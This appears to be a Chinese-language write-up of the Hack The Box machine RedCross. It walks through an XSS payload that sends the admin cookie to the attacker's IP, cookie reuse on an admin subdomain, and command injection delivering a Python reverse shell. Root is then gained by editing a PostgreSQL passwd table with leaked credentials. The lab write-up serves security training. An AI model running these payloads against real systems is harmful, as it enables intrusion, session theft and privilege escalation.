0x01 端口扫描
开启常见端口如下:
- 22端口:SSH服务
- 80端口:HTTP服务
- 443端口:HTTPS服务
访问不到80端口
发现也页面被跳转到了https服务并且域名为intra.redcross.htb
因此我们修改kali的hosts文件,重新启动一下网络服务,重新进行访问
小坑,此处我把ipv4的地址填到ipv6那里了,大家记得填在上方ipv4的位置
/etc/init.d/networking restart
访问到的页面内容如下:
点击contact form链接将跳转至https://intra.redcross.htb/?page=contact
0x02 XSS测试
此处设置3个并使其弹出不同的数字,这样我们即可通过弹出的数字不同准确的找到哪里存在xss
并没有弹框,但根据也页面回显的内容我们确定第三个框可能存在XSS漏洞。
更换XSS的POC,使其弹出cookie
<script>var myimg = new Image();myimg.src = ‘http://10.10.16.5/q?=’+ document.cookie;</script>
其中10.10.16.5为kali的ip地址
获取到cookie如下
PHPSESSID=b9qhrlc0vhfsanp0ejnpsjeat3;%20LANG=EN_US;%20SINCE=1691670730;%20LIMIT=10;%20DOMAIN=admin
0x03 利用XSS获取web系统管理权限
修改cookie的值
保持调试模式刷新页面
0x04 子域名系统
根据文字提示
Please could you check the admin webpanel?
将admin.redcross.htb加入hosts文件
访问admin.redcross.htb内容如下
再次使用刚刚获得的管理员cookie进行尝试
替换cookie后刷新页面
0x05 添加系统用户
添加用户后获得我们的账户和密码
RA : LXtGpUnF
可以看到具有uid和gid等,很像Linux的账户
尝试进行ssh链接
ssh 10.10.10.113 -l RA
获得了一个低权限shell
0x06 Web系统授权后RCE
点击
显然此处可以尝试RCE
Ip后拼接;和命令报错
输入正常ip则出现一个deny按钮
点击并抓包
拼接命令并将其进行url编码
成功执行了我们的命令
开启监听一个端口1101
使用如下payload:
ip=127.0.0.1%;ip=1;python+c+’import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((“10.10.16.5”,1101))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([“/bin/sh”,”-i”])%3b’&action=deny&id=14&action=deny
成功获取反弹shell
获取到www-data用户
www-data权限更高些
0x07 获取标准终端
python -c ‘import pty;pty.spawn(“/bin/bash”)’
再禁用终端回显
stty raw -echo
查看actions.php
在其中看到deny功能的方法
可以看到因为未对用户输入进行过滤,因此最后执行的语句变成了
/opt/iptctl/iptctl restrict 127.0.0.1;id
造成了RCE漏洞
查看添加用户部分
生成随机密码,并使用unixusrmgr数据库用户名和密码将用户存入到passwd_table数据表中。
0x08 篡改web系统用户添加功能
此处因为添加的用户可ssh直接登录,因此我们如果篡改了数据库中的权限,如果这些修改同样被应用到/etc/passwd中是不是就能直接提权了呢?添加用户的代码中可看到链接数据库的函数为
pg_connect(“host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&”);
由此得知该函数是针对PostgreSQL数据库的操作函数
使用命令
psql -h 127.0.0.1 -d unix -U unixusrmgr -W
接下来输入密码
dheu%7wjx8B&
成功连接数据库,查看数据库中的数据表
查看passwd_table数据表中的所有内容
获取到tricia的密码密文及uid,gid
使用命令修改密码的密文为已知密码的密文,明文为toor
update passwd_table set passwd=’sXuCKi7k3Xh/s’ where username =’tricia’;
使用命令查看sudo用户组
接下来修改gid,将tricia加入到具有root权限的组中,这里root权限的组为27,因此我们修改gid为27即可获得root权限
update passwd_table set gid=27 where username=’tricia’;
修改完成后使用\q退出数据库
切换至tricia账户
使用命令
至此拿到root权限
0x09 总结
- 注意观察连接的改变,添加Host获取访问页面
- 通过XSS获取管理员的cookie进入站点
- 仔细观察站点线索,获取其他站点系统
- 使用管理员cookie突破系统,同域名网站可能共用cookie
- 尝试添加的用户登录ssh
- 尝试功能点上的RCE,并使用url编码避免出现问题
- 通过搜集机器上的脚本信息,对其进行代码审计,发现其使用的数据库等信息。
- 连接数据库,通过修改数据库的密码和gid获取具有sudo命令的账户
- 使用具有sudo命令的账户切换至root用户,获取最高权限。